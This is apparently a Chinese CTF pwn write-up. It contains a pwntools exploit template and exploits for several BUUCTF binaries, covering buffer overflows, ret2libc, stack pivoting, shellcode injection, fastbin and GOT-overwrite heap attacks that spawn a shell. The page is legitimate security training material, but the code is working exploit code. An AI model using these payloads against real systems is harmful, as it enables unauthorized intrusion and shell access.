34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - libc_addr
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwn2_sctf_2016" # 本地ELF
libc_addr = "/lib/i386-linux-gnu/libc.so.6" # Libc文件
pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/32node3.buuoj.cn:29297/libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():

sh.recvuntil("read? ")
sh.sendline("-1")
sh.recvuntil("data!\n")

format_str = 0x080486F8
main_addr = elf.sym["main"]
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]

payload="a"*48
payload += p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
sh.sendline(payload)
sh.recvuntil("\n")
sh.recvuntil("said: ")
printf_addr = u32(sh.recv(4).ljust(4,"\x00"))
success("printf_addr => 0x%x",printf_addr)
libc_base = printf_addr - libc.sym["printf"]
success("libc_base => 0x%x",libc_base)
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()

sh.recvuntil("read? ")
sh.sendline("-1")
sh.recvuntil("data!\n")
payload2 = "a"*48
payload2 += p32(system_addr)+p32(main_addr)+p64(binsh_addr)
sh.sendline(payload2)
# debug()

return sh



if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()

ez_pz_hackover_2016

程序分析

在伪代码的第17行当中可以看到会将我们的输入与“crashme”做一个对比判断,如果正确则将数据传入到vuln函数中,而vuln函数中的主要操作也就是将传入的数据复制到dest中。而这里正是程序造成溢出的地方,溢出点的话我们可以通过gdb确定。

再第17行中使用的strcmp进行的一个判断,根据其特性我们可以使用”\x00”截断字符串并输入后续的内容。

利用思路

首先可以使用cyclic来测试出溢出点,输入的内容中除去crashme\x00外距离eip有18个字符的,再加上crashme\x00也就是26个字符的距离。

其次就是我们如何利用这一次的输入来传入shellcode的问题,可以看到的是程序其开始是便打印出的字符串再栈中的地址

而我们正好可以利用这个地址来进行在栈中传入shellcode,并return到栈中shellcode的这一操作

其payload布局可概括为:

crashme\x00+“a”*18 + crash_addr -(crashme距离shellcode的偏移) + shellcode

而payload中的关键点便在于如何确定(crashme距离shellcode的偏移),这可以在gdb调试中来确定,具体操作如下

也就是我们继续运行程序直到程序中止断下后,查看esp也就是栈指针此时应该指向的shellcode的地址,再看程序中泄露出的栈地址,最后通过栈地址-shellcode的地址即可获得偏移,也就是0x1c

EXP

1
2
3
4
5
6
7
8
9
10
11
12
shellcode = shell_code(32)
sh.recvuntil("crash: ")
shell_addr = int(sh.recv(10),16)
success("shell_addr => 0x%x",shell_addr)
sh.recvuntil(">")

payload = "crashme"+"\x00"
payload += "a"*18
payload += p32(shell_addr-0x1c)
payload += shellcode
# debug("b *0x08048600")
sh.sendline(payload)

[Black Watch 入群题]PWN [栈转移]

程序分析

通过ida可以分析出程序的溢出点在标记2处,但却只可以溢出0x8个字节的大小,这就成了一个限制。

不过我们可以回头看在程序的标记1处中,向bss段变量s中写入了0x200个字节,而由于程序没有开启pie保护,这就成了我们可以构造payload的地方。

也就是说我们现在s变量中写入payload,再有标记2处溢出跳转到该变量的地址上,进而执行payload,从而形成一个栈迁移到bss段的利用思路

利用思路

利用第一次的输入,我们传入write_plt来读取write的got表内容

然后第二次输入,我们使程序跳转到第一次输入的内容中,从而执行write函数来泄露write函数地址

但是这里需要注意我们的bss_addr需要减去4 是因为执行函数开头的push ebp会将esp+4,这里需要保持栈平衡,其次便是在后面要加上一个leave ret的gadgets用来还原进入函数前的栈现场。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

s_addr = 0x0804A300
leave_ret = 0x08048511
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]
payload1 = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
sh.recvuntil("name?")
sh.send(payload1)

payload2 = "a"*(0x18)
payload2 += p32(s_addr-4)+p32(leave_ret)
sh.recvuntil("say?")
sh.send(payload2)
write_addr = u32(sh.recv(4).ljust(4,"\x00"))

libc_base = write_addr - libc.sym["write"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
success("libc_base => 0x%x",libc_base)
payload3 = p32(system_addr)+p32(0)+p32(binsh_addr)
sh.recvuntil("name?")
sh.send(payload3)
# debug()
sh.recvuntil("say?")
sh.send(payload2)

ciscn_2019_es_2

程序分析

ida伪代码中可以看出程序拥有两次输入,并且都是输入到同一个地址中,且存在溢出情况。

而在代码的头部有一个memset初始化该地址,但是仅初始化了0x20字节,导致我们可以在输入0x20个字节数据的时候带出栈中的其它地址,进而可以泄露程序的栈地址等操作。

再看程序的两次输入都存在溢出0x8字节的情况,而程序中只有一个system函数,就需要我们自己来构造binsh字符串,正常情况0x8字节肯定是不够我们来利用的,所以便需要通过栈转移来进行溢出利用。

利用思路

在第一次的输入中我们输入0x28个字节来带出栈中的地址,进而计算出变量s在内存中的地址

可以通过gdb来调试确定,首先我们通过循环依次打印出泄露的地址,通过对比可以得出第一个泄露的地址便是上一个栈帧中EBP的地址,之后再拿该地址减去字符串所在的栈地址即可计算出偏移量即0x38

得到栈地址后我们便能在第二次的输入中,将程序跳转到栈中,然后利用程序中已有的system函数,然后再向栈中传入binsh字符串,便可以直接得到shell

而这里需要注意一点的是,由于不能直接向参数中传入binsh字符串,所以这里采取了向后添加字符串,在system的参数中取其地址偏移的方式来调用system(“/bin/sh”)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
leave_ret = 0x080484b8
system_plt = elf.plt["system"]
main_addr = elf.sym["main"]

sh.recvuntil("name?\n")
sh.send("a"*(0x28))
sh.recvuntil("a"*0x28)
# for i in range(4):
# success("0x%x",u32(sh.recv(4).ljust(4,"\x00")))

str_addr = u32(sh.recv(4).ljust(4,"\x00"))-0x38
success("str_addr => 0x%x",str_addr)
sleep(1)
# debug("b *0x080485FC")
payload = p32(system_plt)+p32(main_addr)+p32(str_addr+0xc)+"/bin/sh\x00"
payload = payload.ljust(0x28,"\x00")
payload += p32(str_addr - 4)
payload += p32(leave_ret)
sh.send(payload)

[ZJCTF 2019]Login

利用思路

开启了canary和nx保护,但是通过IDA分析可以找到一个名为shell的后门函数

而现在得目的就是要控制程序得rip让其指向admin_shell函数即可

但是重点就在password_checker函数中,首先传入了三个参数,

而其中第一个参数用于后门的命令执行,之后的v5和v4便是对用户输入数据时的比较也就是使用了strcmp对字符串进行对比,

如果验证成功则可以执行admin_shell执行在这里利用(对此可以使用\x00绕过)

但是我们输入的数据却并不会被直接存到栈中因此便无法直接利用溢出将数据覆盖到第一个参数的地址上,而是要通过后面的puts函数来将输入的数据带到栈上进而控制其参数a1

之后我们将断点下到0x400a4a处,然后看此时的栈空间,其中0x7fffa3fabfa0便是我们输入的字符数据,而后面的0x7fffa3fabfe8便是后面的a1函数的地址,因此我们只用填充上0x48的数据即可将后门函数覆盖到该地址上,进而getshell

EXP

1
2
3
4
5
6
7
8
9
# debug("b *0x400a4a")
back_door = 0x400E88
sh.recvuntil("username: ")
sh.sendline("admin")
sh.recvuntil("password: ")
payload = "2jctf_pa5sw0rd"
payload += (0x48-len(payload))*"\x00"
payload += p64(back_door)
sh.sendline(payload)

xdctf2015_pwn200

程序分析

程序在vuln函数处中存在栈溢出得情况,直接利用write泄露出函数地址并算出libc基地址即可进行利用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
def exp():
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]
payload = "a"*112
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)
write_addr = u32(sh.recv(4))
success("write_addr => 0x%x",write_addr)
libc_base = write_addr - libc.sym['write']
success("libc_base => 0x%x",libc_base)
# one_gg = one_ggs[1]+libc_base
system_addr = libc_base + libc.sym["system"]
read_addr = libc_base + libc.sym["read"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
payload = "a"*112
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)
return sh

def exp_2():
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]
payload = "a"*112
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)
write_addr = u32(sh.recv(4))
success("write_addr => 0x%x",write_addr)
libc_base = write_addr - libc.sym['write']
success("libc_base => 0x%x",libc_base)
# one_gg = one_ggs[1]+libc_base
system_addr = libc_base + libc.sym["system"]
read_addr = libc_base + libc.sym["read"]
bss_addr = elf.bss()
success("bss_addr => 0x%x",bss_addr)
# binsh_addr = libc_base + libc.search("/bin/sh").next()
payload = "a"*112
payload += p32(read_addr)
payload += p32(main_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)
sh.send("/bin/sh\x00")

payload = "a"*112
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(bss_addr)
sh.recvuntil("XDCTF2015~!\n")
sh.sendline(payload)

return sh

Heap

babyheap_0ctf_2017

程序分析

标准的增删改查功能。

其中添加堆块时,使用的是alloc与malloc不同的是申请的堆块内容会被初始化。

而fill,修改堆块内容的时候,存在越界写n个字符的情况,也就是说可以从上一个堆块的内容中写到下一个堆块里

free功能首先会判断堆块是否在,其次对堆块的指针大小以及内容清零,也就是不存在doublefree的情况

dump功能会打印出与堆块大小数量一致的字符

利用思路

通过堆块重叠来将某个堆块的数据区保存在另一个堆块的数据区之中,从而泄露main_arena

申请3个堆块分别为0x10\0x10\0x80

chunk_1用于越界写chunk_2的size为0xb1,从而使chunk_2的大小可以正好包裹住chunk_3。

之后在对chunk_2进行free,使其清空,从而使得我们alloc(0xa1)大小的地址时,可以将chunk_3也包括进去,而此时的chunk_3的size位因为alloc的缘故被清空了,再手动修改chunk_2并利用越界写的功能修改其size位。最后我们free掉chunk_3,其fd指针将指向main_arena+88的地址,最后我们只用show chunk_2即可看到main_arena

当获得到main_arena+88的地址后,将其-88-0x33即可得到malloc_hook的地址

最后再此利用越界写,将某一堆块的fd指针修改位malloc_hook的地址,即可申请到该地址的堆块

最后填入onegadgets,通过再次alloc,即可获得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def cmd(x):
sh.sendlineafter('Command: ',str(x))

def add(size):
cmd(1)
sh.sendlineafter('Size: ',str(size))

def edit(index,content):
cmd(2)
sh.sendlineafter('Index: ',str(index))
sh.sendlineafter('Size: ',str(len(content)))
sh.sendlineafter('Content: ',content)

def free(index):
cmd(3)
sh.sendlineafter('Index: ',str(index))

def show(index):
cmd(4)
sh.sendlineafter('Index: ',str(index))


add(0x10)
add(0x10)
add(0x80)
add(0x10)
add(0x60)
add(0x60)


edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的巨细,使其包裹chunk2
free(1)
add(0xa0)#1 free再add回来使为了改变结构体中的size值,由于show的长度使凭据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #由于使通过calloc申请回chunk1的以是chunk2被清零,我们要恢复chunk2
free(2) #free chunk_2 获得main_arena+88
show(1) #泄露chunk2的fd

sh.recvuntil(p64(0)*3+p64(0x91))
main_arena88 = u64(sh.recv(6).ljust(8,"\x00"))
success("main_arena88 => 0x%x",main_arena88)
libc_base = main_arena88-0x3c4b78
success("libc_base => 0x%x",libc_base)
malloc_hook = main_arena88-88-0x33
success("malloc_hook => 0x%x",malloc_hook)
one_gg = libc_base + one_ggs[1]
free(4)
edit(3,p64(0)*3+p64(0x71)+p64(malloc_hook))
add(0x60)
add(0x60)
edit(4,"a"*0x13+p64(one_gg))
add(0x70)
# debug()

return sh

[ZJCTF 2019]EasyHeap

程序分析

未开启PIE保护,relro保护非full状态。可以劫持got表,可以直接使用代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

简单分析整个程序的逻辑可以看到存在create、delete、edit堆块的三个功能。

而致命的地方则是出现在edit功能中,看下面EDIT中的伪代码:

1
2
3
4
5
6
7
8
9
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}

可以发现我们修改堆块时可以输入一个size,而这个size并未做大小的限制,这则代表着我们如果在修改堆块时输入一个较大的范围,则可以修改该范围内任意堆块的信息,包括堆块的size和fd、bk指针。而只要能修改fd指针,我们理论上就可以控制任意地址进行写。

其次是程序中存在一个后门函数,当选择4869时,且magic变量大于0x1305,便可以执行该函数

1
2
3
4
5
6
7
8
9
10
11
12
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}

用于cat flag,但实际上这只是个幌子……..

1
2
3
4
int l33t()
{
return system("cat /home/pwn/flag");
}

利用思路

最开始我的思路是控制fastbin的fd指针使其指向magic的-0x13处,进而控制程序使下一个malloc的地址为magic进而更改其值为4869,但是exp运行完后…..emmmm

那就只能换一个思路,既然我们可以控制magic,而在gdb中可以看到,magic距离我们堆块的地址紧挨着,那我们是不是便可通过申请到的magic这个堆块使用程序中的EDIT越界写功能进而改写堆块的指针。

例如 我们将chunk_0的指针改写为free_got的地址,那我们再通过edit(0)来修改free_got内的值为system的地址,最后在通过free堆块内/bin/sh字符串来执行system("/bin/sh"),从而获取shell

image-20210101205709374

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def create(size,content):
sh.sendlineafter("choice :","1")
sh.sendlineafter("Heap : ",str(size))
sh.sendlineafter("heap:",content)
def edit(idx,size,content):
sh.sendlineafter("choice :","2")
sh.sendlineafter("Index :",str(idx))
sh.sendlineafter("Heap : ",str(size))
sh.sendlineafter("heap : ",content)
def dele(idx):
sh.sendlineafter("choice :","3")
sh.sendlineafter("Index :",str(idx))

free_got = elf.got["free"]
system_addr = elf.sym["system"]
magic = 0x6020C0
fake_heap = magic - 0x13
create(0x60,"a"*0x8)
create(0x60,"b"*0x8)
create(0x60,"c"*0x8)
create(0x60,"d"*0x8)

dele(1)
payload = "A"*0x60
payload += p64(0)+p64(0x71)
payload += p64(fake_heap)
edit(0,0x80,payload)
create(0x60,"e"*0x8)
payload2 = "a"*(0x3+0x20)+p64(free_got)
create(0x60,payload2)
sh.sendlineafter("choice :","4869")
edit(0,0x8,p64(system_addr))
edit(2,0x8,"/bin/sh\x00")
# debug()
dele(2)

return sh